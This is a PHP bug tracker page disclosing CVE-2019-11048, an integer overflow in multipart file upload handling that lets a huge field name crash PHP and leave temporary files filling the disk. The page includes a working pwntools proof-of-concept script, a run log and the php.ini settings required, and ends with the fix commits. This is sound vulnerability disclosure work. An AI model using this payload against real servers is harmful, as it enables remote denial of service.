php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #78875 Long filenames cause OOM and temp files are not cleaned
Submitted: 2019-11-28 11:04 UTC Modified: 2020-05-11 21:22 UTC
From: jr at coredu dot mp Assigned: stas (profile)
Status: Closed Package: *Web Server problem
PHP Version: 7.2.25 OS: ALL
Private report: No CVE-ID: 2019-11048
 [2019-11-28 11:04 UTC] jr at coredu dot mp
Description:
------------
There is a bug in php-src/main/rfc1867.c that allows a malicious user to crash php during a multipart/form-data file upload.
A large filename causes an integer overflow that leads to a subsequent crash.
The problem is that if multiple files are uploaded at the same time and the bug is triggered with one of the later files, all previous temp files will not be deleted and fill up the disk. This could be used for a easy to execute remote denial of service attack.

Required php.ini settings:

; post_max_size needs to be at least 2GB + a few additional bytes for the rest of the form (this depends on the exact POC)
; For the POC attached to this bug report, please use 2147483873 or more.
post_max_size = 2147483873
; this could be remotely set with the MAX_FILE_SIZE form variable but in order to keep the POC as simple as possible, I did not do this
; so set upload_max_filesize to 0
upload_max_filesize = 0
; according to documentation, memory_limit should always be larger than post_max_size so I set it to 4GB to be on the safe side
memory_limit = 4GB


The security issue exists in SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) in the handling of large filenames:


/* is_arr_upload is true when name of file upload field
* ends in [.*]
* start_arr is set to point to 1st [ */
is_arr_upload =	(start_arr = strchr(param,'[')) && (param[strlen(param)-1] == ']');

if (is_arr_upload) {
    array_len = (int)strlen(start_arr);
    if (array_index) {
        efree(array_index);
    }
    array_index = estrndup(start_arr + 1, array_len - 2);
}

If we upload a file with a array-like name that exceeds the maximum positive 32 bit integer, array_len will be set to a negative value.
During the subsequent estrndup(), array_len will be converted to a 64 bit integer that is extremely large and the memory allocation will fail.
This causes the script to abruptly exit and the already uploaded temporary files are not deleted.

Example run of attached POC:

root@vagrant:/var/www/html# ls /tmp/php*
ls: cannot access '/tmp/php*': No such file or directory
root@vagrant:/var/www/html# python multipart_file_name_oom_crash.py 
[+] Opening connection to 127.0.0.1 on port 80: Done
sending payload with size 2147483873
[*] Switching to interactive mode
HTTP/1.1 502 Bad Gateway
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 18 Nov 2019 05:31:13 GMT
Content-Type: text/html
Content-Length: 182
Connection: keep-alive

<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
$ 
[*] Closed connection to 127.0.0.1 port 80
root@vagrant:/var/www/html# ls /tmp/php*
/tmp/phpbwGfJu
root@vagrant:/var/www/html# cat /tmp/phpbwGfJu 
testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttestroot@vagrant:/var/www/html# 

Please note that the python POC requires the pwntools library (pip install pwntools).
It posts to localhost:80/poc.php - modify the http request if required, the contents of poc.php do not matter.

Test script:
---------------
#!/usr/bin/env python

from pwn import *

r = remote("127.0.0.1", 80)

boundary = "FOO"

def line(s):
    return "%s\n" %s

buf2 = ""
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="test"; filename="test"')
buf2 += line("")
buf2 += line("test"*0x10)
buf2 += line("--"+boundary)
buf2 += line('Content-Disposition: form-data; name="foo[%s]"; filename="bar"' % ("a"*(0x7FFFFFFF)))
buf2 += line("")
buf2 += line("a"*0x10)
buf2 += line("--"+boundary+"--")

buf = ""
buf += "POST /poc.php HTTP/1.1\n"
buf += "Host: localhost\n"
buf += "Content-Type: multipart/form-data; boundary=%s\n" % boundary
buf += "Content-Length: %d\n" % len(buf2)
buf += "\n"
print "sending payload with size %d" % len(buf2)
r.send(buf + buf2)
r.interactive()

Expected result:
----------------
PHP should not crash, created temporary files should be deleted after script finishes

Actual result:
--------------
PHP crashes, temporary files remain on disk

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2019-11-29 15:14 UTC] jr at coredu dot mp
-Summary: Long filenames crash PHP and lead to disk exhaustion +Summary: Long filenames cause OOM and temp files are not cleaned -Package: Reproducible crash +Package: *Web Server problem
 [2019-11-29 15:14 UTC] jr at coredu dot mp
Fixed summary and package according to changes made to my other similar submitted bug with ID 78876
 [2019-12-16 08:18 UTC] stas@php.net
-CVE-ID: +CVE-ID: 2019-11048
 [2020-03-18 09:29 UTC] cmb@php.net
-Status: Open +Status: Verified -Assigned To: +Assigned To: stas
 [2020-03-18 09:29 UTC] cmb@php.net
Suggested fix:
<https://gist.github.com/cmb69/384d5f5bb6b2de834877348dcdbe3282>.

@jr, could you please confirm that the patch fixes the bug?
 [2020-04-21 07:54 UTC] jr at coredu dot mp
I can confirm the patch should fix the bug, thank you!
 [2020-05-11 21:22 UTC] stas@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1c9bd513ac5c7c1d13d7f0dfa7c16a7ad2ce0f87
Log: Fix #78875: Long filenames cause OOM and temp files are not cleaned
 [2020-05-11 21:22 UTC] stas@php.net
-Status: Verified +Status: Closed
 [2020-05-12 07:02 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c71416cba2ad7b596233e3c0da117a90a2e78bbf
Log: Fix #78875: Long filenames cause OOM and temp files are not cleaned
 
PHP Copyright © 2001-2020 The PHP Group
All rights reserved.
Last updated: Fri Jul 10 13:01:25 2020 UTC